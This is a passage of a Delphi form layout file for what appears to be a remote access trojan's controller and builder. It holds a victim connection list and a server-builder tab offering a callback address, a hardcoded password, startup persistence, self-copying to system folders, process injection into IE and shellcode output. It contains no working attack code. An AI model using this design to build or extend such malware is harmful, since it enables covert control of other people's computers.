0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000212121101A1A1A6E1515
15D31A1A1AFC191919FF333333FE262626FF363636FF242424FE3F3F3FFF3F3F
3FFF292929FE494949FF1A1A1AEC1F1F1F030000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000222222221C1C1C5D1D1D1D622121218E1E1E1E9C1E1E1E9C2020209C3030
309C2929298E1C1C1CBD252525FF1B1B1B7D0000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000001D1D1D4C2020209E000000000000000000000000FC7F
FFFFFFFF0000FC3FFFFFFFFF0000FE1FFFFFFFFF0000FE0FFFFFFFFF0000FF8F
FFFFFFFF0000FF87FFFFCFFF0000FFC3FFFC007F0000FFE1FFF0003F0000FFF0
FFC0001F0000FFF87F8000000000FFFC3F8000000000FFFE3F0000000000FFFF
0F0000030000FFFC0F0000030000FFE0060000070000FFC00200000F0000FF80
0000000F0000FF000000003F0000FC000000003F0000F8000000007F0000F800
000001FF0000F800000007FF0000F800000007FF0000F000000000FF0000F000
0000003F0000F0000000001F0000E0000000001F0000E0000000000F0000E000
000000070000E000000000070000C000080000070000C000180000070000C000
380000030000C000780000030000C000F80000030000C001F80000030000800F
F80000030000001FF8000003000001FFF80000030000FFFFFC0000030000FFFF
FE0000030000FFFFFE0000070000FFFFFF00000F0000FFFFFFC0000F0000FFFF
FFE0000F0000FFFFFFFC00070000FFFFFFFF80070000FFFFFFFFFFE70000}
OldCreateOrder = False
Position = poScreenCenter
OnCreate = FormCreate
OnDestroy = FormDestroy
OnMouseWheel = FormMouseWheel
OnResize = FormResize
PixelsPerInch = 96
TextHeight = 13
object SpeedButton_Version: TSpeedButton
Left = 569
Top = 207
Width = 81
Height = 22
Caption = 'Version 0.0.1'
OnClick = SpeedButton_VersionClick
end
object Panel_Main: TPanel
Left = 0
Top = 0
Width = 937
Height = 561
Margins.Left = 0
Margins.Top = 0
Margins.Right = 0
Margins.Bottom = 0
BevelOuter = bvNone
TabOrder = 1
object PageControl_Main: TPageControl
Left = 0
Top = 0
Width = 937
Height = 561
Margins.Left = 0
Margins.Top = 0
Margins.Right = 0
Margins.Bottom = 0
ActivePage = TabSheet_Connections
Align = alClient
Style = tsFlatButtons
TabOrder = 0
object TabSheet_Connections: TTabSheet
Margins.Left = 0
Margins.Top = 0
Margins.Right = 0
Margins.Bottom = 0
Caption = 'TabSheet_Connections'
object ListView_Connections: TListView
Left = 0
Top = 0
Width = 929
Height = 530
Margins.Left = 0
Margins.Top = 0
Margins.Right = 0
Margins.Bottom = 0
Align = alClient
Columns = <
item
Caption = 'ID'
Width = 100
end
item
Caption = 'WAN'
Width = 90
end
item
Caption = 'LAN'
Width = 90
end
item
Caption = 'Computer'
Width = 80
end
item
Caption = 'User Name'
Width = 80
end
item
Caption = 'Acc.Type'
Width = 60
end
item
Caption = 'OS'
Width = 45
end
item
Caption = 'CPU'
Width = 63
end
item
Caption = 'RAM'
Width = 67
end
item
Caption = 'Version'
end
item
AutoSize = True
Caption = 'Ping'
end>
DoubleBuffered = True
GridLines = True
LargeImages = ImageList_Thumbnail
MultiSelect = True
ReadOnly = True
RowSelect = True
ParentDoubleBuffered = False
PopupMenu = PopupMenu_Connections
SmallImages = ImageList_Flags
TabOrder = 0
ViewStyle = vsReport
OnDblClick = ListView_ConnectionsDblClick
end
end
object TabSheet_Build: TTabSheet
Margins.Left = 0
Margins.Top = 0
Margins.Right = 0
Margins.Bottom = 0
Caption = 'TabSheet_Build'
ImageIndex = 1
object GroupBox_Build: TGroupBox
Left = 0
Top = 0
Width = 929
Height = 530
Align = alClient
Caption = 'New Server'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = [fsBold]
ParentFont = False
TabOrder = 0
object ScrollBox_Build: TScrollBox
Left = 2
Top = 15
Width = 925
Height = 513
HorzScrollBar.Range = 700
VertScrollBar.Range = 820
Align = alClient
AutoScroll = False
BorderStyle = bsNone
TabOrder = 0
DesignSize = (
909
513)
object Label_14: TLabel
Left = 19
Top = 4
Width = 54
Height = 13
Caption = 'Connection'
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
ParentFont = False
end
object Label_7: TLabel
Left = 32
Top = 35
Width = 55
Height = 13
Caption = 'DNS/Port:'
end
object SpeedButton_Add: TSpeedButton
Left = 295
Top = 31
Width = 53
Height = 21
Caption = 'Add '
Flat = True
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
Glyph.Data = {
36040000424D3604000000000000360000002800000010000000100000000100
20000000000000040000120B0000120B00000000000000000000FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF006B9A800022703F00196B370022703F006B9A8000FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF006D9C
8300288C530064BA8D0095D2B20064BA8D00288C530068997E0058B8640055B6
610053B45E0050B25B00FF00FF00FF00FF003DA14500369A3D00309336001B6D
390062BA8B0060BA8700FF00FF0060B9870067BC8F00196C36005CBB6800A8D8
AE00A5D7AC0054B55F00FF00FF00FF00FF0045A84E007FC6880072C07C00317B
4C009CD4B600FF00FF00FF00FF00FF00FF0095D2B200196B37005FBE6C00ACDA
B100A9D9AF0057B86300FF00FF00FF00FF004CB057008ECC960083C88C004488
5C0090D3B10092D6B100FF00FF0065BC8C0067BC8F00196C360063C1700060BF
6D005EBD6A005BBB6800FF00FF00FF00FF0054B55F004DB1580047AA50004899
580061AB810095D4B400BAE6D0006ABB8F002D8F57001D752F00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF0092B3A3005E9773004F8E660047885F007DA59000FF00FF00FF00FF00FF00
FF00B8B8B800FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF005D5D5D00FF00FF00FF00FF00FF00FF00FF00
FF00BEBEBE00BCBCBC00B9B9B900B4B4B400ACACAC00A2A2A200999999008E8E
8E0082828200777777006D6D6D0064646400FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00B6B6B600B1B1B100FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00E1A46D00D7995F00CD8C5000C47E
4200FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00E9B07D00EDCBC000EAC3B800CE8D
5100FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00F0B98B00F0D4C900EECDC200D89C
6000FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00F4C09500F0BA8B00EAB27F00E2A8
7000FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00}
ParentFont = False
OnClick = SpeedButton_AddClick
end
object Label_8: TLabel
Left = 32
Top = 64
Width = 16
Height = 13
Caption = 'ID:'
end
object Label_9: TLabel
Left = 32
Top = 96
Width = 57
Height = 13
Caption = 'Password:'
end
object Bevel_5: TBevel
Left = 32
Top = 143
Width = 811
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 459
end
object Label_10: TLabel
Left = 48
Top = 154
Width = 25
Height = 13
Caption = 'DNS:'
end
object Label_15: TLabel
Left = 48
Top = 184
Width = 27
Height = 13
Caption = 'Port:'
end
object Label_16: TLabel
Left = 48
Top = 216
Width = 61
Height = 13
Caption = 'Username:'
end
object Label_17: TLabel
Left = 48
Top = 243
Width = 57
Height = 13
Caption = 'Password:'
end
object Bevel_6: TBevel
Left = 19
Top = 23
Width = 824
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 856
end
object Label_18: TLabel
Left = 49
Top = 345
Width = 35
Height = 13
Caption = 'Name:'
end
object SpeedButton_1: TSpeedButton
Left = 455
Top = 342
Width = 69
Height = 21
Caption = 'Random '
Enabled = False
Flat = True
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
Glyph.Data = {
36040000424D3604000000000000360000002800000010000000100000000100
20000000000000040000120B0000120B00000000000000000000FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00929596008989890087868600878787008888870089898800898888008888
8800888887008786860088878700999C9D00FF00FF00FF00FF00FF00FF00FF00
FF0088888800C2C2C100BCBCBC00BCBCBC00BCBCBB00BCBCBB00BCBCBB00BCBC
BB00BCBCBB00BCBCBB00C2C2C1008C8C8C00FF00FF00FF00FF00FF00FF00FF00
FF008C8C8B00FFFFFF00EBEBEB00EBEBEB00E9E9E900E8E8E800E7E7E700E7E7
E700E6E6E600E6E6E600FFFFFF008E8D8C00FF00FF00FF00FF00FF00FF00FF00
FF0092919100FFFFFF00B4B4B40094949400E7E7E700B2B2B20093939300E3E3
E300B0B0B00091919100FBFBFB0092929100FF00FF00FF00FF00FF00FF00FF00
FF0095959500FFFFFF00E8E8E800E7E7E700E5E5E500E3E3E300E2E2E200E0E0
E000DFDFDF00DCDCDC00FFFFFF0095959500FF00FF00FF00FF00FF00FF00FF00
FF009A9A9900FFFFFF00B1B1B10091919100E2E2E200ADADAD008F8F8F00DCDC
DC00A9A9A9008D8D8D00FBFBFB009A999900FF00FF00FF00FF00FF00FF00FF00
FF009E9D9D00FFFFFF00E3E3E300E1E1E100DCDCDC00DBDBDB00D7D7D700D3D3
D300D3D3D300D1D1D100FFFFFF009E9D9C00FF00FF00FF00FF00FF00FF00FF00
FF00A0A0A000FFFFFF00ADADAD008E8E8E00D8D8D800A5A5A5008A8A8A00CECE
CE007374E8005258DB00FBFBFB009E9E9E00FF00FF00FF00FF00FF00FF00FF00
FF00A3A3A300FCFCFC00DADADA00D7D7D700D2D2D200CECECE00C9C9C900C5C5
C500C2C2C200BFBFBF00FFFFFF00A0A0A000FF00FF00FF00FF00FF00FF00FF00
FF00A3A3A300FFFFFF00B07B5600C38D6700C58F6800C6906900C8926B00CA94
6C00CA956E00B07B5600FFFFFF00A1A09F00FF00FF00FF00FF00FF00FF00FF00
FF00A4A4A400FFFFFF00B07B5600C18B6400C38D6600C58F6700C6906900C892
6B00CA946C00B07B5600FFFFFF00A0A0A000FF00FF00FF00FF00FF00FF00FF00
FF00A3A3A400FFFFFF00A7724D00A7724D00A7724D00A7724D00A7724D00A772
4D00A7724D00A7724D00FFFFFF009E9E9E00FF00FF00FF00FF00FF00FF00FF00
FF00A7AAAB00F8F9FA00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FCFDFD00A2A3A400FF00FF00FF00FF00FF00FF00FF00
FF00AFB4B700A7A8A900A8A8A800ABABAB00ACACAC00ADADAD00ACACAC00ABAB
AB00A8A8A800A4A4A400A2A3A300B0B5B800FF00FF00FF00FF00}
ParentFont = False
Visible = False
OnClick = SpeedButton_1Click
end
object Label_19: TLabel
Left = 19
Top = 373
Width = 65
Height = 13
Caption = 'Installation'
end
object Label_20: TLabel
Left = 64
Top = 474
Width = 54
Height = 13
Caption = 'Filename:'
end
object Label_21: TLabel
Left = 19
Top = 502
Width = 56
Height = 13
Caption = 'Advanced'
end
object Bevel_8: TBevel
Left = 49
Top = 423
Width = 794
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 826
end
object Label_22: TLabel
Left = 48
Top = 539
Width = 86
Height = 13
Caption = 'Process Mutex:'
end
object SpeedButton_2: TSpeedButton
Left = 279
Top = 536
Width = 22
Height = 22
Flat = True
Font.Charset = ANSI_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Microsoft Sans Serif'
Font.Style = []
Glyph.Data = {
36040000424D3604000000000000360000002800000010000000100000000100
20000000000000040000120B0000120B00000000000000000000FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00C1BFBE00AF9386009A644B008D563C008B553C009262
4B00A9918600BFBEBE00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00BBA8A0009E614400B2805700D5B79300DBC3A600DAC3A600D2B4
9000AB7A52008C5C4400B3A6A000FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00BDACA000A15A3A00CBA77D00D8BB9F00C39C7700B68A6200B4866000BE96
7200D1B39700C5A3770087553C00B3A6A000FF00FF00FF00FF00FF00FF00C5C3
BF00AE744500CFAA8100DABCA200BE916600BA8C6200B7895F00B3845E00B183
5D00B0835C00CDAA8D00C6A579008F5D4400C0BFBF00FF00FF00FF00FF00C0A5
8500BF915E00E0C2A800C5966C00C2916900E1CBB800FEFDFC00FFFFFE00EADC
D000B4855E00B3855E00D4B59900AE7B5600AC918500FF00FF00FF00FF00BE8A
4B00DBBC9C00D5AD8900C7986C00C3956900C1936700EDDFD300FAF7F400BB8B
6300B98A6300B88A6200C59D7800D2B8930098634B00FF00FF00FF00FF00BF81
3B00E3C7AF00D0A27600C5996B00C4976A00C4966900EEE0D400FBF7F400BF90
6600BE8F6500BE8F6400BE926900DFC6AA0094553A00FF00FF00FF00FF00C588
4000E4C9B000D0A37A00CC9D7100C79A6C00C5986B00FFFFFF00FFFFFE00C396
6900C1946800C2946800C3986D00DFC5AB0097573A00FF00FF00FF00FF00CB97
5600E0BC9F00DBB39300CFA07500CD9E7200CB9C7100DDBFA300DDBFA200C599
6B00C5996B00C4986B00D1AB8500D8BA9700A4674B00FF00FF00FF00FF00CBB1
8E00CD9C6800E7CBB400D4A57A00D0A07700CF9E7400FBF8F500FBF8F500CB9E
7100CB9D7100CDA17700DFC0A500B98A5B00B6978500FF00FF00FF00FF00C9C8
C200CD955500D9B28C00E6CAB300D6A97D00D1A57900E2C4A800E1C3A800D0A2
7600D1A47700DDBDA200D0AC8500AE714500C4C2BF00FF00FF00FF00FF00FF00
FF00CCBDA800CF904D00D9B28C00E6CDB800E0BA9D00D7AB8500D6A98200D9B3
9100E1C2AB00D4AE8600B26F3C00C1B0A000FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00CDBDA900D0975700D0A06A00E0BFA000E3C5AE00E3C5AE00DFBC
9F00C8976200BE854500C4B5A000FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00CAC8C200CEB49200D19B5F00CD8F4C00CB8E4800C995
5500C8AE8B00C8C6BF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00}
Layout = blGlyphTop
ParentFont = False
OnClick = SpeedButton_2Click
end
object SpeedButton_3: TSpeedButton
Left = 263
Top = 638
Width = 22
Height = 22
Flat = True
Font.Charset = ANSI_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Microsoft Sans Serif'
Font.Style = []
Glyph.Data = {
36040000424D3604000000000000360000002800000010000000100000000100
20000000000000040000120B0000120B00000000000000000000FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00C1BFBE00AF9386009A644B008D563C008B553C009262
4B00A9918600BFBEBE00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00BBA8A0009E614400B2805700D5B79300DBC3A600DAC3A600D2B4
9000AB7A52008C5C4400B3A6A000FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00BDACA000A15A3A00CBA77D00D8BB9F00C39C7700B68A6200B4866000BE96
7200D1B39700C5A3770087553C00B3A6A000FF00FF00FF00FF00FF00FF00C5C3
BF00AE744500CFAA8100DABCA200BE916600BA8C6200B7895F00B3845E00B183
5D00B0835C00CDAA8D00C6A579008F5D4400C0BFBF00FF00FF00FF00FF00C0A5
8500BF915E00E0C2A800C5966C00C2916900E1CBB800FEFDFC00FFFFFE00EADC
D000B4855E00B3855E00D4B59900AE7B5600AC918500FF00FF00FF00FF00BE8A
4B00DBBC9C00D5AD8900C7986C00C3956900C1936700EDDFD300FAF7F400BB8B
6300B98A6300B88A6200C59D7800D2B8930098634B00FF00FF00FF00FF00BF81
3B00E3C7AF00D0A27600C5996B00C4976A00C4966900EEE0D400FBF7F400BF90
6600BE8F6500BE8F6400BE926900DFC6AA0094553A00FF00FF00FF00FF00C588
4000E4C9B000D0A37A00CC9D7100C79A6C00C5986B00FFFFFF00FFFFFE00C396
6900C1946800C2946800C3986D00DFC5AB0097573A00FF00FF00FF00FF00CB97
5600E0BC9F00DBB39300CFA07500CD9E7200CB9C7100DDBFA300DDBFA200C599
6B00C5996B00C4986B00D1AB8500D8BA9700A4674B00FF00FF00FF00FF00CBB1
8E00CD9C6800E7CBB400D4A57A00D0A07700CF9E7400FBF8F500FBF8F500CB9E
7100CB9D7100CDA17700DFC0A500B98A5B00B6978500FF00FF00FF00FF00C9C8
C200CD955500D9B28C00E6CAB300D6A97D00D1A57900E2C4A800E1C3A800D0A2
7600D1A47700DDBDA200D0AC8500AE714500C4C2BF00FF00FF00FF00FF00FF00
FF00CCBDA800CF904D00D9B28C00E6CDB800E0BA9D00D7AB8500D6A98200D9B3
9100E1C2AB00D4AE8600B26F3C00C1B0A000FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00CDBDA900D0975700D0A06A00E0BFA000E3C5AE00E3C5AE00DFBC
9F00C8976200BE854500C4B5A000FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00CAC8C200CEB49200D19B5F00CD8F4C00CB8E4800C995
5500C8AE8B00C8C6BF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00
FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00FF00}
Layout = blGlyphTop
ParentFont = False
OnClick = SpeedButton_3Click
end
object Bevel_9: TBevel
Left = 19
Top = 392
Width = 824
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 856
end
object Label_23: TLabel
Left = 55
Top = 687
Width = 47
Height = 13
Caption = 'Process:'
end
object SpeedButton_4: TSpeedButton
Left = 802
Top = 786
Width = 57
Height = 22
Anchors = [akTop, akRight]
Caption = 'Build '
Flat = True
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
Glyph.Data = {
36030000424D3603000000000000360000002800000010000000100000000100
18000000000000030000120B0000120B00000000000000000000C8D0D4C8D0D4
C8D0D4C6CED2AEB5B85A5B5B6869696E6E6E6D6D6D9EA3A6AAB0B37070706E6E
6E6869695A5B5BAEB5B8C8D0D4C8D0D4C8D0D4AEB5B9606262919191ACACACAE
AEAE979797717171787878979797AEAEAEACADAD919191606262C8D0D4C8D0D4
C8D0D4888D8F6D6D6ED3D3CE6666664444444646465151515151514646464444
44727576C4C4C46D6E6EC8D0D4C8D0D4C4CCCF6D6E6F838383D3D3CEE5E5E547
4747BDBDBDCECECEC2C2C2ADADAD444444BEC5C8C4C4C4848485C7CFD3B9BEC0
A7A8A89595957A7A7AD3D3CE7E7E7E4D4D4D6565659292927979796565654C4C
4C6B6C6CC4C4C4787878AEB0B2BEBEBEE3E3E3EDEDED939393919191E8E8E8DD
DDDDC1C1C18989898C8C8CD8D8D8DDDDDDC4C4C4919191737374A7A7A7F5F5F5
F2F2F2E7E7E7DDDDDDA9A9A98B8B8B9E9E9E848484AFAFAFBABABA8585859E9E
9E8989899D9D9D939393ABABACF3F3F3F0F0F0ECECECEAEAEAE4E4E4DADADAD8
D8D8C4C4C4BBBBBBBEBEBEC2C2C2C3C3C3C0C0C0CBCBCB9B9B9CACACACF3F3F3
F1F1F1EEEEEEE1E1E1C7C7C7CBCBCBD1D1D1D1D1D1CCCCCCB1B1B1BBBBBBC0C0
C0C0C0C0CECECE9C9C9CADADADF3F3F3E9E9E9DDDDDDDEDEDEC2C2C2DADADAFD
FDFDFDFDFDDADADAC3C3C3D7D7D7BBBBBBBBBBBBCFCFCF9D9D9DACADADD8D8D8
CDCDCDCECECED1D1D1ACACACFFFFFFFFFFFFFFFFFFFFFFFFACACACD1D1D1CCCC
CCC1C1C1BEBEBE9C9C9CB8BBBCAEAEAED5D5D5FDFDFDFDFDFDC7C7C7B5B5B5A3
A3A3A3A3A3B5B5B5C7C7C7FCFCFCFBFBFBD2D2D2AEAEAEACAFB0C8D0D4AAAAAA
FFFFFFFFFFFFFFFFFFE0E0E0ACACACD1D1D1D1D1D1ABABABE0E0E0FFFFFFFFFF
FFFFFFFFAAAAAAC8D0D4C8D0D4C5C9CBB6B7B7A2A2A2A2A2A2B1B1B1D6D6D6FD
FDFDFCFCFCD3D3D3B1B1B1A2A2A2A2A2A2B6B7B7C5C9CBC8D0D4C8D0D4C8D0D4
C8D0D4C8D0D4C6CDD1AAAAAAFFFFFFFFFFFFFFFFFFFFFFFFAAAAAAC5CCCFC8D0
D4C8D0D4C8D0D4C8D0D4C8D0D4C8D0D4C8D0D4C8D0D4C8D0D4C5C9CBB5B6B6A2
A2A2A2A2A2B5B6B6C5C9CBC8D0D4C8D0D4C8D0D4C8D0D4C8D0D4}
ParentFont = False
OnClick = SpeedButton_4Click
ExplicitLeft = 818
end
object Label_25: TLabel
Left = 440
Top = 618
Width = 44
Height = 13
Caption = 'Format:'
end
object Bevel_7: TBevel
Left = 19
Top = 521
Width = 824
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 856
end
object Bevel_10: TBevel
Left = 48
Top = 607
Width = 794
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 826
end
object Bevel_14: TBevel
Left = 32
Top = 289
Width = 810
Height = 2
Anchors = [akLeft, akTop, akRight]
Style = bsRaised
ExplicitWidth = 842
end
object Edit_DnsList: TEdit
Left = 112
Top = 31
Width = 177
Height = 21
Color = clScrollBar
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
ReadOnly = True
TabOrder = 0
end
object Edit_ID: TEdit
Left = 112
Top = 58
Width = 121
Height = 21
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
MaxLength = 7
TabOrder = 1
end
object Edit_BPassword: TEdit
Left = 112
Top = 93
Width = 121
Height = 21
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
MaxLength = 255
TabOrder = 2
Text = 'killeven'
end
object CheckBox_1: TCheckBox
Left = 239
Top = 95
Width = 109
Height = 17
Caption = 'Hide Password'
TabOrder = 3
OnClick = CheckBox_1Click
end
object CheckBox_Socks5: TCheckBox
Left = 32
Top = 120
Width = 129
Height = 17
Caption = 'Socks5'
TabOrder = 4
OnClick = CheckBox_Socks5Click
end
object Edit_Socks5_Server: TEdit
Left = 128
Top = 151
Width = 129
Height = 21
Color = clScrollBar
Enabled = False
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
TabOrder = 5
end
object SpinEdit_Socks5_Port: TSpinEdit
Left = 128
Top = 178
Width = 129
Height = 22
Color = clScrollBar
Enabled = False
MaxValue = 65535
MinValue = 0
TabOrder = 6
Value = 0
end
object Edit_Socks5_Username: TEdit
Left = 128
Top = 213
Width = 129
Height = 21
Color = clScrollBar
Enabled = False
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
TabOrder = 7
end
object Edit_Socks5_Password: TEdit
Left = 128
Top = 240
Width = 129
Height = 21
Color = clScrollBar
Enabled = False
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
TabOrder = 8
end
object CheckBox_Startup: TCheckBox
Left = 19
Top = 272
Width = 97
Height = 17
Caption = 'Startup'
TabOrder = 9
OnClick = CheckBox_StartupClick
end
object Edit_StartupName: TEdit
Left = 128
Top = 342
Width = 305
Height = 21
Color = clScrollBar
Enabled = False
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
MaxLength = 100
TabOrder = 10
end
object CheckBox_CopySelf: TCheckBox
Left = 48
Top = 400
Width = 113
Height = 17
Caption = 'Copy file to:'
TabOrder = 11
OnClick = CheckBox_CopySelfClick
end
object Edit_FileName: TEdit
Left = 128
Top = 471
Width = 305
Height = 21
Color = clScrollBar
Enabled = False
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
MaxLength = 100
TabOrder = 12
end
object Edit_Mutex: TEdit
Left = 152
Top = 536
Width = 121
Height = 21
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
TabOrder = 13
Text = ')!VoqA.I4'
end
object CheckBox_Inject: TCheckBox
Left = 49
Top = 586
Width = 185
Height = 17
Caption = 'Inject'
TabOrder = 14
OnClick = CheckBox_InjectClick
end
object RadioButton_InjectIE: TRadioButton
Left = 64
Top = 617
Width = 113
Height = 17
Caption = 'Inject into IE'
Checked = True
Enabled = False
TabOrder = 15
TabStop = True
end
object RadioButton_InjectCustom: TRadioButton
Left = 64
Top = 640
Width = 189
Height = 17
Caption = 'Inject Into a custom process'
Enabled = False
TabOrder = 16
end
object Panel_2: TPanel
Left = 55
Top = 431
Width = 218
Height = 37
BevelOuter = bvNone
TabOrder = 17
object RadioButton_SystemFolder: TRadioButton
Left = 0
Top = 0
Width = 218
Height = 17
Align = alTop
Caption = 'System Folder'
Checked = True
Enabled = False
TabOrder = 0
TabStop = True
end
object RadioButton_WindowsFolder: TRadioButton
Left = 0
Top = 17
Width = 218
Height = 17
Align = alTop
Caption = 'Windows Folder'
Enabled = False
TabOrder = 1
end
end
object Edit_InjectProcess: TEdit
Left = 128
Top = 684
Width = 145
Height = 21
Color = clScrollBar
Enabled = False
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
TabOrder = 18
end
object Panel_3: TPanel
Left = 459
Top = 696
Width = 185
Height = 76
BevelOuter = bvNone
TabOrder = 19
object RadioButton_Binary: TRadioButton
Left = 0
Top = 0
Width = 185
Height = 17
Align = alTop
Caption = 'Binary'
Checked = True
TabOrder = 0
TabStop = True
end
object RadioButton_CArray: TRadioButton
Left = 0
Top = 17
Width = 185
Height = 17
Align = alTop
Caption = 'C Array'
TabOrder = 1
end
object RadioButton_DelphiArray: TRadioButton
Left = 0
Top = 34
Width = 185
Height = 17
Align = alTop
Caption = 'Delphi Array'
TabOrder = 2
end
object RadioButton_PythonArray: TRadioButton
Left = 0
Top = 51
Width = 185
Height = 17
Align = alTop
Caption = 'Python Array'
TabOrder = 3
end
end
object Panel_4: TPanel
Left = 440
Top = 637
Width = 258
Height = 55
BevelOuter = bvNone
TabOrder = 20
object Label_24: TLabel
Left = 19
Top = 17
Width = 131
Height = 13
Caption = 'File Alignment (bytes): '
end
object RadioButton_PE: TRadioButton
Left = 0
Top = 0
Width = 258
Height = 17
Align = alTop
Caption = 'PE'
Enabled = False
TabOrder = 0
end
object SpinEdit_FileAlign: TSpinEdit
Left = 156
Top = 13
Width = 65
Height = 22
Enabled = False
MaxValue = 0
MinValue = 0
TabOrder = 1
Value = 1024
end
object RadioButton_ShellCode: TRadioButton
Left = 0
Top = 36
Width = 163
Height = 17
Caption = 'ShellCode'
Checked = True
TabOrder = 2
TabStop = True
end
end
object Panel_5: TPanel
Left = 49
Top = 295
Width = 208
Height = 25
BevelOuter = bvNone
TabOrder = 21
object RadioButton_CurrentRun: TRadioButton
Left = 0
Top = 0
Width = 97
Height = 25
Align = alLeft
Caption = 'CurrentRun'
Checked = True
Enabled = False
TabOrder = 0
TabStop = True
OnClick = RadioButton_CurrentRunClick
end
object RadioButton_ActiveX: TRadioButton
Left = 97
Top = 0
Width = 113
Height = 25
